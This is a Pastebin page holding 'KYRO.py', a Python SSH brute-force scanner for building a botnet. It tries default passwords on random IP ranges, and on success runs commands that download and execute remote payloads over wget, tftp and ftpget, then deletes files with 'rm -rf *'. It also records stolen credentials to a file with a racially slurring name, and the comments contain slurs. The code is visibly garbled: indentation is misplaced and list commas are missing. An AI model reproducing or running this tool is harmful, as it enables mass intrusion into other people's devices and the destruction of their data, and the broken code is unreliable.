Advertisement
Guest User

KYRO.py - Modded Scanner !

a guest
Jun 16th, 2017
870
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.65 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #                                           888    d8P Y88b   d88P 8888888b.   .d88888b.  
  3. #                                           888   d8P   Y88b d88P  888   Y88b d88P" "Y88b
  4. #                                           888  d8P     Y88o88P   888    888 888     888
  5. #                                           888d88K       Y888P    888   d88P 888     888
  6. #                                           8888888b       888     8888888P"  888     888
  7. #                                           888  Y88b      888     888 T88b   888     888
  8. #                                           888   Y88b     888     888  T88b  Y88b. .d88P
  9. #                                           888    Y88b    888     888   T88b  "Y88888P"
  10. #                                           If you Have this That Means you are Trusted
  11. #                                   DO NOT TAKE PICS DO NOT SHOW ANYONE THIS DO NOT SCREEN SHARE KYRO
  12. #
  13. #
  14.  
  15. # MUST INSTALL THE FOLLOING BELOW
  16.  
  17. # yum update -y
  18.  
  19. # yum install nano -y
  20.  
  21. # yum install gcc python-paramiko -y
  22.  
  23. # nano /usr/include/bits/typesizes.h
  24.  
  25. # scroll down and edit the 1024 to 999999
  26.  
  27. # THEN SAVE IT
  28.  
  29. # ulimit -n 999999
  30.  
  31. # Usage: python KYRO.py THREADS RANGES 1(slow but effective) 2(fast but less effective) HERE IS A EXAMPLE
  32.  
  33. #       python KYRO.py 500 5.78 101
  34.  
  35. #     ^^^^^^^slow but affective ^^^^^^^^
  36.  
  37. #       python KYRO.py 500 B 119.93 3
  38.  
  39. #     ^^^^^^Fast But Not As stable^^^^^^
  40.  
  41. # Examples Below
  42.  
  43. # python KYRO.py 500 LUCKY 1 1
  44.  
  45. # python KYRO.py 500 LUCKY3 1 4
  46.  
  47. # python KYRO.py 500 LUCKY2 1 3
  48.  
  49. # python KYRO.py 500 B 49.144 3
  50.  
  51. #
  52.  
  53. # RANGES 113.53, 119.93, 122.3, 122.52, 101.109, 180.180, 125.27, 101.109
  54. import threading, paramiko, random, socket, time, sys
  55.  
  56. paramiko.util.log_to_file("/dev/null")
  57.  
  58. blacklist = [
  59.     '127'
  60. ]
  61.  
  62. passwords = [
  63.   "telnet:telnet"
  64.   "admin:1234",
  65.   "root:root",
  66.   "ubnt:ubnt",
  67.   "vagrant:vagrant",
  68.   "pi:raspberry",
  69.   "root:maxided"
  70.       "root:123456",
  71.     "root:Love2020",
  72.     "root:Zero",
  73.     "root:Password",
  74.     "root:password",
  75.     "root:qwerty",
  76.     "root:dragon",
  77.     "root:pussy",
  78.     "root:baseball",
  79.     "root:football",
  80.     "root:monkey",
  81.     "root:696969",
  82.     "root:abc123"
  83.     "admin:admin",
  84.     "admin:1234",
  85.     "admin:Guest",
  86.     "ubnt:ubnt",
  87.     "guest:guest",
  88.     "user:user",
  89.     "test:test",
  90.  
  91. ]
  92.  
  93. if sys.argv[4] == '1':
  94.      passwords = ["root:root"] # ALRIGHT
  95. if sys.argv[4] == '2':
  96.      passwords = ["guest:guest"] #EHH
  97. if sys.argv[4] == '3':
  98.      passwords = ["admin:1234"] #ALRIGHT
  99. if sys.argv[4] == '4':
  100.      passwords = ["telnet:telnet"] #SEXY
  101. if sys.argv[4] == '5':
  102.     passwords = ["root:root", "admin:1234"]
  103.  
  104. print "\x1b[1;35m            __  __ ___ __\x1b[1;35m"
  105. print "\x1b[1;35m           |__)/  \ | (_ \x1b[1;35m"
  106. print "\x1b[1;35m           |__)\__/ | __)\x1b[1;35m"
  107. print "\x1b[1;35m           ~{BIG DuMpA}~\x1b[1;35m"
  108. print "\x1b[1;35m Bots Should Be Joining By Time You Read This\x1b[1;35m"
  109. print "\x1b[1;35m unless you are a retard and didn't set your ulimit\x1b[1;35m"
  110.  
  111. ipclassinfo = sys.argv[2]
  112. if ipclassinfo == "A":
  113.     ip1 = sys.argv[3]
  114. elif ipclassinfo == "B":
  115.     ip1 = sys.argv[3].split(".")[0]
  116.     ip2 = sys.argv[3].split(".")[1]
  117. elif ipclassinfo == "C":
  118.     ips = sys.argv[3].split(".")
  119.     num=0
  120.     for ip in ips:
  121.         num=num+1
  122.         if num == 1:
  123.             ip1 = ip
  124.         elif num == 2:
  125.             ip2 = ip
  126.         elif num == 3:
  127.             ip3 = ip
  128. class sshscanner(threading.Thread):
  129.     global passwords
  130.     global ipclassinfo
  131.     if ipclassinfo == "A":
  132.         global ip1
  133.     elif ipclassinfo == "B":
  134.         global ip1
  135.         global ip2
  136.     elif ipclassinfo == "C":
  137.         global ip1
  138.         global ip2
  139.         global ip3
  140.     def run(self):
  141.         while 1:
  142.             try:
  143.                 while 1:
  144.                     thisipisbad='no'
  145.                     if ipclassinfo == "A":
  146.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  147.                     elif ipclassinfo == "B":
  148.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  149.                     elif ipclassinfo == "C":
  150.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  151.                     #DONT FUCK WITH ANY OF THIS STUFF
  152.                     elif ipclassinfo == "LUCKY":
  153.                         lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","46.62","5.78"]
  154.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  155.                     elif ipclassinfo == "LUCKY2":
  156.                         lucky2 = lucky2 = [ "122.3","210.213","59.69","122.52","122.54","119.93","124.105","125.104","119.92","119.91","49.144" ]
  157.             ssh.exec_command("wget -q https://pastebin.com/raw/Q5gzdsBY -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  158.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  159.             elif ipclassinfo == "LUCKY3":
  160.                         lucky2 = [ "103.20","103.30","103.47","103.57","12.188","12.34" ]
  161.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  162.  
  163.                     for badip in blacklist:
  164.                         if badip in self.host:
  165.                             thisipisbad='yes'
  166.                     if thisipisbad=='no':
  167.                         break
  168.                 username='root'
  169.                 password=""
  170.                 port = 22
  171.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  172.                 s.settimeout(3)
  173.                 s.connect((self.host, port))
  174.                 s.close()
  175.                 ssh = paramiko.SSHClient()
  176.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  177.                 dobreak=False
  178.                 for passwd in passwords:
  179.                     if ":n/a" in passwd:
  180.                         password=""
  181.                     else:
  182.                         password=passwd.split(":")[1]
  183.                     if "n/a:" in passwd:
  184.                         username=""
  185.                     else:
  186.                         username=passwd.split(":")[0]
  187.                     try:
  188.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  189.                         dobreak=True
  190.                         break
  191.                     except:
  192.                         pass
  193.                     if True == dobreak:
  194.                         break
  195.                 badserver=True
  196.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  197.                 output = stdout.read()
  198.                 if "inet addr" in output:
  199.                     badserver=False
  200.                 if badserver == False:
  201.                         print 'Gave A homless man a dollar ' +self.host+'|'+username+'|'+password+'|'+str(port)
  202.             ssh.exec_command("cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://1.1.1.1/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 1.1.1.1 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 1.1.1.1; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 1.1.1.1 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *")
  203.             nigger = open("niggers.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  204.                         time.sleep(15)
  205.                         ssh.close()
  206.             except:
  207.                 pass
  208.  
  209. for x in range(0,1500):
  210.     try:
  211.         t = sshscanner()
  212.         t.start()
  213.     except:
  214.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement